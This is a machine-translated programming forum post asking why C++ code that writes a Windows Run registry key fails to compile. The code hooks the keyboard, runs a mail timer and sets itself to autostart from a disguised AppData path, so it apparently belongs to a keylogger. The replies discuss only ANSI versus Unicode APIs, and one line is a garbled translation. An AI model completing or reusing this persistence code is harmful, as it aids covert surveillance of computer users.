いくつかのC++コードに問題があります。C++レジストリキーの問題
もっと正確に言えば、Windows起動時に自動起動用のレジストリキーを登録するプログラムが実行されているときです。
残りのコードは別のヘッダーに配置されていますので、皆さんは必要ないと思います。
#include <iostream>
#include <windows.h>
#include "KeybHook.h"
using namespace std;
int main()
{
MSG Msg;
IO::MkDir (IO::GetOurPath (true));
InstalHook();
while (GetMessage (&Msg, NULL, 0, 0))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
MailTimer.Stop();
std::wstring progPath = L"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\MyApp.exe";
HKEY hkey = NULL;
LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); //Creates a key
LONG status = RegSetValueEx(hkey, L"MyApp", 0, REG_SZ, (BYTE *)progPath.c_str(), (progPath.size()+1) * sizeof(wchar_t));
return 0;
}
は、と私はあなたのWindowsのAPIのANSIバージョンを使用している
main.cpp||In function 'int main()':|
main.cpp|35|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegCreateKeyA(HKEY, LPCSTR, PHKEY)'|
main.cpp|36|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegSetValueExA(HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD)'|
||=== Build failed: 2 error(s), 8 warning(s) (0 minute(s), 1 second(s)) ===|
'string'の代わりに' wstring'を使う特別な理由はありますか? – Arash
@Arash WindowsはUTF-16を使用しているので、 'wstring'はUnicodeのサポート方法です。 – MrEricSir
エラーメッセージをお読みになりましたか?問題を説明しませんでしたか? –